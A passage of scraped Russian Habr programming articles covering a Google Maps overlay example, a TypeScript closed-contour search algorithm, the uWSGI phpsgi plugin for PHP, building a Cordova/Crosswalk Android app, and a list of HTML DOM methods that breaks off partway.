var map = new GMap2(document.getElementById("map_canvas"));
map.setCenter(new GLatLng(37.4419, -122.1419), 13);
map.addControl(new GSmallMapControl());
var bounds = map.getBounds();
var southWest = bounds.getSouthWest();
var northEast = bounds.getNorthEast();
var lngDelta = (northEast.lng() - southWest.lng()) / 3;
var latDelta = (northEast.lat() - southWest.lat()) / 4;
var rectBounds = new GLatLngBounds(
new GLatLng(southWest.lat() + latDelta,
southWest.lng() + lngDelta),
new GLatLng(northEast.lat() - latDelta,
northEast.lng() - lngDelta));
map.addOverlay(new TestOverlay(rectBounds));
}
}
```
Как видно из этого примера собственные элементы карты создаются путем реализации интерфейса GOverlay. Для реализации этого интерфейса необходимо реализовать 4 его метода — initialize, remove, copy и redraw.
Кроме того, для работы со стандартными элементами карты применяются весьма удобные и интуитивно понятные классы такие, как GPoint, GSize, GIcon. Последний, например, позволяет задавать размер иконки, добавлять к иконке тень, а также устанавливать точку соприкосновения иконки с картой. Все это возможно благодаря весьма простому интерфейсу:
```
var baseIcon = new GIcon(G_DEFAULT_ICON);
baseIcon.shadow = "http://www.google.com/mapfiles/shadow50.png";
baseIcon.iconSize = new GSize(20, 34);
baseIcon.shadowSize = new GSize(37, 34);
baseIcon.iconAnchor = new GPoint(9, 34);
```
Получившийся в результате обновления модуль стал гораздо удобнее и интереснее благодаря использованию более свежих возможностей Google Maps API. | https://habr.com/ru/post/125118/ | null | ru | null |
# CMYK алгоритм поиска замкнутого контура на двумерной матрице
Это история не столько про алгоритмы сколько про ассоциации. Именно ассоциация с каналами кодирования цветов и послужила причиной написания этой статьи.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Суть:
На входе передается произвольная точка, лежащая на контуре фигуры из группы точек двумерной матрицы (обычного поля из черных и белых клеток), и матрица описывающая положение точек.
Класс CMYK создает пустую копию матрицы (все клетки белые) и по мере обработки контура заполняет ее уже проанализированными узлами, если алгоритм обнаруживает в ней узел, то он уточняет из какого канала был создан этот узел. Если обнаруживается что этот узел был создан в родном канале, значит его создал кто-то из предыдущих уже проанализованных узлов, возможно ближайший сосед, который только что был обработан циклом в предыдущий шаг иттерации цикла, если же, вдруг, выясняется что узел был создан другим каналом, то алгоритм нашел соединение.
Каналов четыре потому что есть всего четыре возможных направления движения от исходной стартовой точки, если стоит задача соединять заполненные точки поля по касанию их углов, а не ребер, необходимо будет ввести четыре дополнительных канала для обработки других стартовых векторов движения анализа.
Входная точка сразу же маркируется всеми четырьмя каналами, ближайшие соседи маркируются одним единственным каналом, и все дальнейшие движения от этих соседей идут с маркировкой конкретного канала, каждый узел маркированный каналом попадает в общий для всех каналов поток и обрабатывается в одном из следующих иттераций цикла.
Все обработанные узлы кешируются в той самой дополнительной матрице узлов и удаляются из общего цикла.
Как только обнаруживается что с каким-то конкретным узлом работают два канала, алгоритм фиксирует замыкание контура.
Если замыкание установлено класс вернет список всех точек контура, нет, он вернет undefined.
Раскраска векторов позволяет избавиться от токсичных узлов для анализа в одном из направлений, и при этом оставить актуальными узлы для обработки в других каналах. Именно нахождение одного узла в двух каналах и устанавливает соединение. Узел в двух и более обнаруженных каналах, является связующим узлом.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
На картинке: сверху визуализация итераций цикла, cнизу произвольная фигура из точек с замкнутым контуром. В моем случае если установлено, что в контуре есть замыкание все незамкнутые части контура также будут выделены.
При инициации поиска прежде всего устанавливаются ближайшие соседи входящей точки, на рисунке входящая точка зеленая, я намеренно кликнул в сердцевину чтобы запустить обработку по максимальному количеству каналов.
Первым зарегистрировалась левая от центральной клетка, далее правая, верхняя и нижняя.
В последующих итерациях эти клетки регистрировали своих соседей с маркировкой конкретного канала. Цикл обработал сначала черный канал, потом голубой (сразу же установил соединение), далее желтый последний фиолетовый.
Алгоритм нашел два узла, единственную голубую и примыкающую к ней фиолетовую. Он пометил обе клетки как узлы соединения.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
История ассоциаций:
В рамках тестового задания для одной подающей большие надежды компании возникла необходимость обеспечить следующую функциональность: при клике на произвольную непустую точку, в случае если она лежит на замкнутом контуре фигуры, выделить все точки фигуры для дальнейшей ее трансформации.
Задача, вероятно, покажется вам достаточно простой, но я бы хотел пояснить что работаю на стыке двух областей программирования и дизайна, в связи с чем я не считаю себя ни сильным программистом ни сильным дизайнером, но в сумме у меня не плохой бекграунд для работы в области generative art или data visualization. В мир программирования я вошел через гейм. дев. К тридцати годам я накопил множество интересных знаний, но с учетом того что в найм обычно требуются узко специализированные специалисты мне порой приходится нелегко. Словом, это все лирика, возвращаясь к алгоритму у меня не было на момент начала работ готового алгоритма и я ушел гуглить, с учетом того что задание на самом деле комплексное и не ограничивается исключительно этой задачей, я посчитал это вполне корректным.
Прежде всего я нашел статьи о поиске [кратчайших путей выхода из лабиринта](https://habrahabr.ru/post/162915/) и [алгоритмы связанные с игрой в точки](http://pointsgame.narod.ru/), и там и там темы были очень близки, но функции которая была нужна для конкретной задачи в них не было. Компиляция полученных знаний к готовому решению также не привела, более того, меня не покидало ощущение, что я встал на ложный путь, потому что, в действительности, больше думал о свободном, незанятом клетками поле, нежели о самих контурных фигурах. Я подумал что мне может это пригодится для поддержания дополнительной функциональности, которая бы позволила выделить, внутреннюю область замкнутого контура, но как подобраться к замкнутому контуру я не мог придумать.
Я продолжил поиски, на этот раз я решил искать алгоритмы которые используются для заливки области однородным цветом в графических редакторах, через некоторое время я вышел на [цепной код Фримена](http://pointsgame.narod.ru/). Далее были статьи про распознавание контура в двухмерных и трехмерных пространствах, распознавание контура лиц и дорожных знаков, OpenCV, внутренности AutoCad, и большая база теоретической математики контуров, словом, невероятно увлекательное приключение, которое, тем не менее, жгло время. После если четырех часов чтива, я понял что все глубже погружаюсь в теоретические дебри и загрустил. Время безжалостно убегало, домашний пес просился на прогулку и я решил что сразу как вернусь буду писать алгоритм сам.
Не буду описывать весь свой ход мыслей, по возвращению у меня была одна идея от которой я хотел оттолкнуться. Я понимал что, в действительности все не так сложно, у нашего алгоритма очень ограниченные возможности в передвижении по матрице, и мне просто нужна циклическая функция которая обходит все связанные точки. Алгоритм мог двигаться максимально всего в четырех направлениях, мне нужно отправить его в путь и как-то поймать его при приближении к исходной точки. Я не без улыбки вспоминал того парня который орал на оператора интернет провайдера, ну вы помните, про «разрыв соединения». Собственно это и была наша с псом полу-готовая идея.Изначально я хотел намеренно разорвать одно из направлений движения и, в случае если бы он вернулся по разорванной линии установить что контур замкнулся. Порисовав немного на бумаге, я понял что у моего варианта есть множество сложных исключений, главное из которых заключается в том что я могу разорвать связь по ложному вектору и, в итоге, просто упереться в тупик. Другие важные исключения были связаны с некой «токсичностью» уже пройденных точек, от которых нужно было избавляться, но которые в случае их утилизации блокировали весь цикл. Не уверен что я слишком точно описываю возможные проблемы, но надеюсь вы меня понимаете. Словом, все было очень плохо до тех пор пока я вдруг не нашел для векторов более подходящего и емкого определения. Я искал решение в четырех возможных **каналах** движения. Постойте, четыре канала, я же где-то уже это слышал. CMYK. Решение было найдено. Я решил покрасить каналы и тем самым избавиться от токсичности уже обработанных клеток.
Дальнейшая работа была связана уже исключительно с реализацией этой идеи на typescript.
Вместо заключения я хотел бы просто посоветовать всем желающим ознакомится с замечательной книгой Дэна Рома «Визуальное мышление». Возможно это не совсем к месту, но я был в свое время в большом восторге от ее прочтения.
Я спокойно приму вашу критику, поэтому вы можете указать мне на мои возможные ошибки и не слишком стройную архитектуру. Коду всего один день, надеюсь он найдет свое применение.
```
// algorith/cmyk.ts
import Point from "./../geom/point";
class StreamNode {
// channel statuses
public static BLACK: number = 0;
public static CYAN: number = 1;
public static YELLOW: number = 2;
public static MAGENTA: number = 3;
// link to position in original field
public point: Point;
// actual statuses channels
protected cyan: boolean = false;
protected yellow: boolean = false;
protected magenta: boolean = false;
protected black: boolean = false;
// current channel
public channel: number;
/*
* @ point - position in field
* @ channel - node stream channel
* @ full - if it is a entry point
*/
constructor(point: Point, channel: number, full: boolean = false) {
this.point = point;
this.channel = channel;
if (full) {
this.cyan = true;
this.yellow = true;
this.black = true;
this.magenta = true;
} else {
this.registerChannel(channel);
}
}
// register channel status, if it is a connection node or entry node several channels can be marked
public registerChannel (channel: number): void {
switch (channel) {
case StreamNode.BLACK:
this.black = true;
break;
case StreamNode.CYAN:
this.cyan = true;
break;
case StreamNode.YELLOW:
this.yellow = true;
break;
case StreamNode.MAGENTA:
this.magenta = true;
break;
default:
break;
}
}
// check if it is a native or foreign channel
public varifyChannel (channel: number): boolean {
switch (channel) {
case StreamNode.BLACK:
return this.black === true;
case StreamNode.CYAN:
return this.cyan === true;
case StreamNode.YELLOW:
return this.yellow === true;
case StreamNode.MAGENTA:
return this.magenta === true;
default:
throw "can not identify channel";
}
}
}
class CMYK {
// matrix of field points, points can be full/empty/transformed
private matrix: number[][];
// matrix of stream nodes
private nodes: StreamNode[][];
// start point fo analize
private sourcePoint: Point;
// status of contrur, if we find connection, we will register it
private connection: boolean = false;
/*
* @source:Point - start point for analyze
* @matrix:number [][] - matrix of points and there states
*/
public getStream (source: Point, matrix: number[][]): Point[] {
// register sourcePoint
this.sourcePoint = source;
// list of all points of cursor
let responseStream: Point[] = [source];
// no connections, contur is not closed at the moment
this.connection = false;
// sync matrix of points with matrix of stream nodes
this.syncMatrixes(matrix);
// create a node for source point
let sourceNode: StreamNode = new StreamNode(source, 0, true);
// register node in matrix of nodes
this.nodes[source.x][source.y] = sourceNode;
// init nearest neighbors
let neighbors: StreamNode[] = this.censur(source, 0, true);
// init loop stream
let stream: StreamNode[] = [];
// add nearest neighbors into stream
stream = stream.concat(neighbors);
// run loop
while (stream.length) {
// extract some node
sourceNode = stream.pop();
// register point of contur
responseStream.push(sourceNode.point);
// add neighbors of this point to stream
stream = stream.concat(this.censur(sourceNode.point, sourceNode.channel));
};
if (this.connection) {
// if contur is closed return list of cursor points
return responseStream;
} else {
return undefined;
}
}
/*
* Sync matrix of points and matrix of stream nodes
* @matrix number[][] - number of points in field
*/
private syncMatrixes (matrix: number[][]): void {
this.matrix = matrix;
let rows: number = matrix.length;
let lines: number = matrix[0].length;
this.nodes = [];
for (let i: number = 0; i < rows; i ++) {
this.nodes[i] = [];
for (let j: number = 0; j < lines; j ++) {
this.nodes[i][j] = undefined;
}
}
}
/*
* Register new nodes, the nearest neighbors of actual stream node
*
* @source - actual stream position
* @channel - actual direction of analyze
* @increment - channel flag, let register the start point, or point of channel direction
*/
private censur (source: Point, channel: number, increment: boolean = false): StreamNode[] {
let stream: StreamNode[] = [];
let xPosition: number = source.x - 1;
let yPosition: number = source.y;
let _channel: number = channel;
// push left neighbor to stream if it not out of matrix border
if (source.x > 0) {
this.pushToStream(xPosition, yPosition, stream, _channel);
}
// change chanel for start point registration
if (increment) {
_channel ++;
}
// push right neighbor
if (source.x < this.nodes.length - 1) {
xPosition += 2;
this.pushToStream(xPosition, yPosition, stream, _channel);
}
if (increment) {
_channel ++;
}
// push up neighbor
if (source.y > 0) {
xPosition = source.x;
yPosition -= 1;
this.pushToStream(xPosition, yPosition, stream, _channel);
}
if (increment) {
_channel ++;
}
// push down neighbor
if (source.y < this.nodes[0].length - 1) {
xPosition = source.x;
yPosition += 2;
this.pushToStream(xPosition, yPosition, stream, _channel);
}
return stream;
}
/*
* Register new node for analyze if it doesn't analized yet
* If it does we varifyChannel, if the channel is the same of parameter channel,
* it mean that this is parent node, who create this one, and we ignore it.
* If the chanels are not the same, we found the connection and contur is closed
* If the status of point is empty, we ignore this point, and don't register new node
*
* @ xPosition - point X
* @ yPosition - point Y
* @ stream - stream of nodes which used in node
* @ channel - actual direction channel
*/
private pushToStream (xPosition: number, yPosition: number, stream: StreamNode[], channel: number): void {
// new node
let node: StreamNode;
// there is no point in field (empty status)
if (this.matrix[xPosition][yPosition] !== 1) {
// ignore it
return;
}
// this node is already created
if (this.nodes[xPosition][yPosition] !== undefined) {
node = this.nodes[xPosition][yPosition];
// check if this a parent node
if (node.varifyChannel(channel)) {
// ignore if it is
return;
} else {
// Congratulattions! We found the connection
this.connection = true;
// add one mode channel status to node
node.registerChannel(channel);
// here we also can add the point of this node to coonections list ...
// I don't need it, so I didn't
}
} else {
// register new node and add it in loop stream
let point = new Point(xPosition, yPosition);
node = new StreamNode(point, channel);
this.nodes[xPosition][yPosition] = node;
stream.push(node);
}
}
}
export default CMYK;
// geom/point.ts
class Point {
public x: number;
public y: number;
constructor(x: number, y:number) {
this.x = x;
this.y = y;
}
}
export default Point;
``` | https://habr.com/ru/post/305002/ | null | ru | null |
# WSGI/Rack для PHP
Исторически сложилось, что скрипты на PHP запускаются при каждом HTTP-запросе. Запускаясь, скрипт проводит какую-то инициализацию (например, устанавливает соединение с СУБД), после чего анализирует запрос и формирует ответ. Однако, всем прекрасно известно, что в мире Python и Ruby принят другой подход: веб-приложения на этих языках загружаются в память единовременно вместе с веб-сервером (или сервером приложений). Взаимодействие сервера приложений со скриптом осуществляется при помощи стандартных интерфейсов [WSGI](https://ru.wikipedia.org/wiki/WSGI) и [Rack](https://en.wikipedia.org/wiki/Rack_(web_server_interface)). Такой подход, безусловно, не лишён недостатков, главный из которых, пожалуй, связан с резким ростом накладных расходов при размещении большого числа сайтов на одном сервере, однако, обладает и важным преимуществом: инициализация производится лишь однократно, затем скрипт лишь отвечает на входящие HTTP-запросы.
Попытки перенести цикл обработки запросов в тело PHP-сценария уже [производились](http://javascript.ru/blog/TravisBickle/True-FastCGI-dlya-PHP-migraciya-testy), при этом удавалось добиться значительного роста производительности. Однако, для этого приходилось писать достаточно много кода.
Однако, буквально на днях создатели uWSGI [реализовали экспериментальную поддержку](https://github.com/unbit/uwsgi/issues/832) интерфейса, схожего с WSGI/Rack, для PHP. Я напомню, что uWSGI — чрезвычайно гибкий и функциональный сервер приложений, поддерживающий практически все существующие на сегодняшний день языки и технологии, который легко может быть использован как альтернатива PHP-FPM. Таким образом, появилась возможность создания веб-приложений, постоянно загруженных в память, куда меньшей кровью.
Интерфейс назван «phpsgi». Плагин, реализующий поддержку этого интерфейса, ещё пока достаточно сыроват, однако, разработчик уже изъявил желание показать его широкой общественности.
> But i will absolutely ask you for tests/reports and for gathering people willing to try it :)
Установка плагина при наличии уже настроенного uWSGI предельно проста:
```
uwsgi --build-plugin https://github.com/unbit/uwsgi-phpsgi
```
После выполнения такой команды в текущем каталоге появится файл «phpsgi\_plugin.so», который достаточно поместить в каталог с остальными плагинами сервера (обычно /usr/lib/uwsgi). После этого можно настроить вассала (виртуальный узел), либо запустить экземпляр uWSGI вручную. Для простоты рассмотрим второй вариант.
```
uwsgi --plugin phpsgi --http-socket :9090
```
Если выполнить такую команду, uWSGI обратится к файлу с именем «app.php», который должен содержать в себе функцию «application». На данный момент, так как плагин является экспериментальным, эти имена жёстко определены в коде. Рассмотрим простейший пример кода на PHP, который можно «скормить» этому плагину.
```
php
echo 'Loading';
function application($env) {
return ['200 OK', ['Content-Type' = 'text/plain'], 'Hello, world!'];
}
```
Этот пример выведет в браузер строку «Hello, world!», в то время как строка «Loading» будет выведена однократно в журнал вассала uWSGI. | https://habr.com/ru/post/250055/ | null | ru | null |
# Сборка гибридного приложения под Android
Многие считают, что гибридные приложения не могут иметь хорошую производительность, особенно в плане построения страницы (то есть имеют низкий FPS). Это ошибочное мнение. Если умело собрать приложение, то можно добиться хороших показателей. В статье рассмотрен пример сборки такого гибридного приложения под Android в Windows 7 (хотя для iOs будет почти тоже самое).
Допустим, у нас есть готовое приложение на HTML5, в котором вывод изображения полностью производиться через элемент Canvas (я использовал Phaser framework, 50 движущихся спрайтов). На ПК данное приложение запускается без проблем (60 FPS). На топовых фирменных смартфонах тоже все хорошо (50-60 FPS). Но если мы возьмем средненький планшет, результат будет просто ужасным (3-15 FPS), даже не смотря на хорошие характеристики устройства.
Поэтому нашей целью является создание полностью готового для публикации apk с хорошими показателями производительности.
На данный момент существуем множество инструментов для достижения данной цели. Наиболее популярные из них:
• Cordova
• [Ludei](https://www.ludei.com)
• [Intel XDK](https://software.intel.com/en-us/intel-xdk)
Проект **Ludei** (Cocoon.js) производит построение приложение в облаке, достаточно прост в понимании концепции. Советую обратить внимание на клиентское приложение CocoonJS Launcher App, которое позволяет легко производить отладку приложения прямо на устройстве. Это может очень помочь при разработке приложения. Но использовать данный сервис для построения приложения не советую, т.к. имеется достаточно много багов и в приложение добавляется фирменная заставка.
**Intel XDK** – это отличный инструмент, с которого я советую начать. Построение приложения так же производиться в облаке. По сути Intel XDK представляет собой удобное GUI для Cordova c полным набором настроек, плагинов и эмулятором.
С помощью **Cordova** построение производиться уже на вашем компьютере. Это подход имеет всего два преимущества:
• Сборка производиться быстрее,
• Используются последние версии компонентов.
При этом есть недостаток:
• Требуется организовать окружение.
В статье мы будет рассматривать именно последний вариант, так как с ним в основном возникают проблемы, и так как в итоге вы все равно или поздно перейдете на него.
И так начнем. Устанавливаем:
1. [Node.js](http://nodejs.org)
2. [git клиент](http://git-scm.com)
3. Java Development Kit (JDK) 7
4. [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio)
Далее открываем Android SDK Manager и устанавливаем:
• Android 5.1.1 (API 22) platform SDK
• Android SDK Build-tools version 19.1.0 или выше
• Android Support Repository (Extras)
Затем в Android Studio сгенерируем набор ключей для подписи apk. Для этого в меню выбираем ***Build > Generate Signed APK***. В открывшемся окне нажимаем ***Create new***. Откроется новое окно, в котором вводим все данные (данные, естественно, сами запоминаем).
После всего можно закрыть Android Studio и больше никогда не открывать.
Затем нужно изменить переменную окружения PATH:
1. Нажмите на меню " Пуск " в левом нижнем углу рабочего стола, щелкните правой кнопкой мыши на *Мой комьютер*, а затем нажмите кнопку *Свойства*.
2. Нажмите кнопку *Дополнительные параметры системы* в столбце слева.
3. В открывшемся диалоговом нажмите *Переменные среды*.
4. Выберите переменную *PATH* и нажмите редактировать.
5. Добавьте следующее в PATH, в зависимости от того куда был установлен пакет SDK (у меня ***f:\AndroidSDK***), например:
`C:\Users\Root\AppData\Local\Android\sdk\tools;c:\Program Files\Ant\bin;C:\Users\Root\AppData\Roaming\npm;f:\AndroidSDK\platform-tools;f:\AndroidSDK\tools`
6. Сохраните значение и закройте оба диалоговые окна.
А только теперь, собственно, устанавливаем Cordova. Открываем командную строку и запускаем:
`npm install -g cordova`
Затем создаем свой проект. Для этого выполним команду следующего вида:
`cordova create projectDirectory com.companyName.appName AppName`
Данная команда имеет следующие параметры:
***projectDirectory*** – директория вашего проекта.
***com.companyName.appName*** — указывает идентификатор вашего проекта в обратном формате доменных имен.
***AppName*** — указывает отображаемое имя приложения.
Все эти параметры можно легко поменять позже в файле *config.xml*.
После выполнения команды будет создан каталог вашего проекта. В этом каталоге будет находиться директория *www*, в которой будут файлы страницы приложения по умолчанию. Удалите содержимое данной директории и скопируйте в неё файлы вашего web-приложения. Стартовый файл назовите ***index.html.***
Далее работаем уже в директории проекта.
`cd hello`
Перед тем, как можно будет построить проект, необходимо указать набор целевых платформ. В статье я буду рассматривать только Android. Выполним команду, которая добавит возможность сборки проекта под данную платформу.
`cordova platform add android`
После выполнения команды появиться каталог ***projectDirectory\platforms\android*** и вы сможете собрать debug.apk (отладочный пакет). Сборка отладочного пакета осуществляется командой:
`cordova build android`
Теперь добавим автоматическую подпись пакета. Cordova подписывает пакет при помощи Gradle. Поэтому мы можем сразу задать установки ключей. Для этого в директории ***projectDirectory\platforms\android*** создайте текстовый файл ***release-signing.properties*** в котором пропишите следующие настройки:
`storeFile=../../ keystore.jks
storeType=jks
keyAlias=myalias
keyPassword=passwordhere
storePassword=passwordhere`
Как вы поняли, нужно использовать данные, которые были указаны при создании ключей.
Далее проведем первое испытание – соберем подписанный apk для публикации.
`cordova build android --release`
На выполнение команды потребуется несколько минут. По окончанию построения готовый apk мы можем найти в директории ***projectDirectory\platforms\android\build\outputs\apk***
Испытаем полученный apk на среднем планшете и… мы получим опять ужасные результаты (5 FPS). На этом этапе многие разработчики теряют надежду. После такого облома они либо бегут на [www.ludei.com](http://www.ludei.com) (потому что там хоть на выходе получается что-то вменяемое), либо присоединяются к «армии мудаков», которые убеждены, что гибридные приложение полный отстой.
На самом деле терять надежду ещё рано. Есть такой замечательный проект – [Crosswalk](https://crosswalk-project.org). С помощью данного проекта можно в нативное приложение под Android встроить браузер Google Chrome и в нем проигрывать ваш проект. Преимущества очевидны: производительность хорошего браузера и независимость от ОС устройства.
В Cordova проект Crosswalk добавляется, как плагин. Значит, пора расширить наше приложение плагинами. Делается это очень легко. В командной строке запущенной из директории проекта запускаем команды:
`cordova plugin add cordova-plugin-splashscreen`
В проект будет добавлена возможность установить стартовую заставку. Обязательно установить этот плагин.
Далее можете добавить плагины по вашим запросам. Вот лишь некоторые из них:
`cordova plugin add cordova-plugin-vibration`
(плагин добавляет возможность управлять вибрацией)
`cordova plugin add cordova-plugin-globalization`
(плагин добавляет возможность определить локализацию устройства)
`cordova plugin add cordova-plugin-inappbrowser`
(плагин добавляет возможность делать запросы к серверу)
Ну, и наконец, добавим Crosswalk:
`cordova plugin add cordova-plugin-crosswalk-webview`
После установки соберем очередной apk и испытаем его на устройстве. Мы, скорее всего, получим также паршивые результаты (15 FPS)…
Тут теряют надежды те, которые её не потеряли при первом испытании. И эти разработчики пополняют «армию мудаков», которые убеждены, что гибридные приложение полный отстой.
Но ещё рано сдаваться… Тут начинается «магия».
Для браузера Google Chrome существует специальный **GPU-blacklist**, который ограничивает использование WebGL. Это очередная забагованная функция от Google. Почему забагованная?
Во-первых, функция ограничивает не только движок WebGL, но весьма ощутимо снижает производительность движка Canvas.
Во-вторых, хоть функция называется «черный список GPU», работает она как «белый список». То есть, если у вас топовый фирменый смартфон, то он есть в этом списке и ваше приложение прекрасно работает. А если у вас какой-нибудь «китаец» (или даже фирманный не топовый телефон), то его уже нет в списке, и, соответственно, производительность приложения низкая.
Google объясняет это заботой о пользователях. Мол, на не топовых фирменных смартфонах браузер может работать нестабильно. Ага, конечно… По моим наблюдениям вся эта «нестабильность» сводиться к закрытию приложения при сверхвысоких нагрузках (например, одновременное создание 200-300 объектов).
Чтобы добиться максимальной производительности. Отключим данную функцию. Для этого создадим в директории ***projectDirectory\platforms\android\assets*** текстовый файл ***xwalk-command-line*** в котором будет лишь одна строка:
`xwalk --ignore-gpu-blacklist`
Все. Снова собираем очередной проект и испытываем… В итоге отличная производительность (50-60 FPS). Результат достигнут.
Что дальше? А дальше осталось настроить [файл конфигурации](http://cordova.apache.org/docs/ru/6.0.0/config_ref/index.html), [иконки и заставки](http://cordova.apache.org/docs/ru/6.0.0/config_ref/images.html). С этим, я думаю, вы справитесь сами. Кстати, стартовая заставка поддерживает технологию [9-patch Image](http://developer.android.com/intl/ru/tools/help/draw9patch.html). Для этого нужно лишь добавить к названию файла цифру 9.
Как видите, гибридные приложения в умелых руках могут иметь высокую производительность. Надеюсь, эта статья поможет вам в их создании. Удачного дня. | https://habr.com/ru/post/277729/ | null | ru | null |
# 15 HTML-методов элементов, о которых вы, вероятно, никогда не слышали
**От переводчика:** *Дэвид Гилбертсон (David Gilbertson) — известный автор, который пишет о веб- и криптовалютных технологиях. Он смог собрать большую аудиторию читателей, которым рассказывает о всяких хитростях и интересностях этих областей.*
**Небольшое вступление**
Давайте обсудим разницу между HTML и DOM.
Например, возьмем элемент *table* из HTML. Вы можете использовать его в файле с расширением .html. В нем мы указываем набор атрибутов, которые определяют внешний вид и «поведение» страницы.
И это все, здесь нет ничего общего с JavaScript.
DOM — это то, что позволяет объединить ваш код JavaScript с HTML-элементами в документе, так что вы сможете взаимодействовать ними как с объектами.
Это модель «документ-в-объект».
Любой тип элементов в HTML имеет собственный «интерфейс» DOM, который определяет свойства и методы. Например, у *table* есть интерфейс, который называется [HTMLTableElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLTableElement).
Вы можете можете получить ссылку на определенный элемент, написав что-то вроде этого:
У вас есть доступ ко всем свойствам и методам, которые доступны для конкретного типа элемента. Например, вы можете получить доступ к свойствам value, использовав searchBox.value, или установить курсор в определенную позицию, воспользовавшись searchBox.focus().
Теперь обсудим еще одну важную вещь: у большинства элементов нет интересных методов, поэтому легко пропустить что-то важное, если не погружаться в этот вопрос специально.
Но, к счастью, внимание к деталям и изучение спецификаций — моя сильная сторона. Поэтому все необходимое я сделал и о результатах пишу в этой статье.
Если вы хотите попробовать разобраться с DOM самостоятельно, стоит воспользоваться инструментами браузера для изучения некоторых элементов. Для этого нужно выбрать один из них в дереве элементов и набрать $0 в консоли. Это даст вам ссылку на элемент, который вы выбрали. Для того чтобы преобразовать его в объект, наберите dir($0).
Есть много вещей, которые [вы можете делать в консоли](https://developers.google.com/web/tools/chrome-devtools/console/command-line-reference).
> **Skillbox рекомендует:** онлайн-курс [Веб-разработчик](https://skillbox.ru/webdev/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=webdev&utm_content=digest&utm_term=15HTML)
>
> Напоминаем: Для всех читателей Хабра — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».
### №1. Методы таблиц
Существует достаточно много удобных методов, которые позволяют собирать таблицы подобно мебели в Ikea.
```
const tableEl = document.querySelector('table');
const headerRow = tableEl.createTHead().insertRow();
headerRow.insertCell().textContent = 'Make';
headerRow.insertCell().textContent = 'Model';
headerRow.insertCell().textContent = 'Color';
const newRow = tableEl.insertRow();
newRow.insertCell().textContent = 'Yes';
newRow.insertCell().textContent = 'No';
newRow.insertCell().textContent = 'Thank you';
```
Здесь вы видите не только document.createElement(). Например, метод .insertRow() встроит *tbody*, если вы организуете вызов этого элемента прямо в дереве. Это ли не классно?
### №2. scrollIntoView()
Вы знаете, что если у вас есть #something в URL, то при загрузке страницы браузер проскроллит ее до элемента с этим ID?
Обычно это очень помогает, но не работает, если вы рендерите этот элемент после загрузки страницы. Для того чтобы воспользоваться возможностью, описанной выше, просто прописываете document.querySelector(document.location.hash).scrollIntoView();
### №3. hidden
Ну да, это вроде как не метод, но раз есть setter (метод задания свойства), то можно считать методом.
Как бы там ни было, вы когда-либо использовали myElement.style.display = 'none' для того, чтобы спрятать элемент? Если да, то не стоит этого делать.
Куда лучше воспользоваться myElement.hidden = true.
### №4. toggle()
Мы можем использовать этот метод для того, чтобы добавить или удалить класс элемента при помощи myElement.classList.toggle('some-class').
И если вы когда-либо добавляли класс с использованием if, то подумайте: может, стоит попробовать что-то еще?
Например, можно просто использовать второй параметр для метода toggle. Нужно передать его методу переключения. Если это произойдет, ваш класс будет добавлен в элемент:
```
el.classList.toggle('some-orange-class', theme === 'orange');
```
Да, я понимаю, о чем вы сейчас думаете: это не то, что означает само слово “toogle”. Те, кто стоит за Internet Explorer? с этим согласны и выражают свой протест, не используя второй параметр вообще.
Но давайте его вернем. Свободу параметрам!
### №5. querySelector()
Ну хорошо, вы определенно должны это знать, но я подозреваю, что примерно 17% читателей не в курсе, как можно использовать этот метод в связке с элементами.
Пример: myElement.querySelector('.my-class') покажет соответствие элементов, у которых есть класс my-class и «потомков» myElement.
### №6. closest
Это метод, доступный для всех элементов, которые просматривают дерево элементов. Это нечто вроде реверса для querySelector(). Поэтому мы можем использовать заголовок текущего раздела таким образом:
```
myElement.closest('article').querySelector('h1');
```
Начинаем с *article* и заканчиваем первым *h1*.
### №7. getBoundingClientRect()
Метод возвращает объект с подробными сведениями об элементе, который мы указали.
```
{
x: 604.875,
y: 1312,
width: 701.625,
height: 31,
top: 1312,
right: 1306.5,
bottom: 1343,
left: 604.875
}
```
Но будьте осторожны: приведенный пример вызывает перерисовку. В зависимости от устройства и сложности вашей страницы это может занять несколько миллисекунд. Поэтому помните об этом, если вы вызываете его повторно, например в анимации.
Не все браузеры возвращают все эти значения.
### №8. matches()
Я бы хотел проверить, принадлежит ли определенный элемент к определенному классу.
Максимальная сложность:
```
if (myElement.className.indexOf('some-class') > -1) {
// do something
}
Немного лучше, но все равно не то:
if (myElement.className.includes('some-class')) {
// do something
}
```
То, что нужно:
```
if (myElement.matches('.some-class')) {
// do something
}
```
### №9. insertAdjacentElement()
Я обнаружил это сегодня! Это подобно appendChild(), но дает немного больше контроля в процессе добавления child.
parentEl.insertAdjacentElement('beforeend', newEl) делает примерно то же, что и parentEl.appendChild(newEl), но вы можете указать beforebegin, afterbegin или afterend для помещения его в то место, которое указывают эти имена.
Сколько контроля!
### №10. contains()
Вы когда-нибудь хотели знать, есть ли элемент внутри другого? Я все время хочу это знать.
Например, если я обрабатываю клик мыши и хочу понять, происходил ли он внутри или снаружи (так что я могу закрыть его), я выполняю вот что:
```
const handleClick = e => {
if (!modalEl.contains(e.target)) modalEl.hidden = true;
};
```
Здесь modal El — отсылка к модальному окну, а e.target — элемент, по которому кликают.
Смешно, но я часто ошибаюсь в логике при первой же попытке использовать метод. И потом, когда я пытаюсь исправить ошибку, я снова неправ. А этот метод помогает сразу разбираться с ней.
### №11. getAttribute()
Один из самых бесполезных методов элементов, но не в этом частном случае.
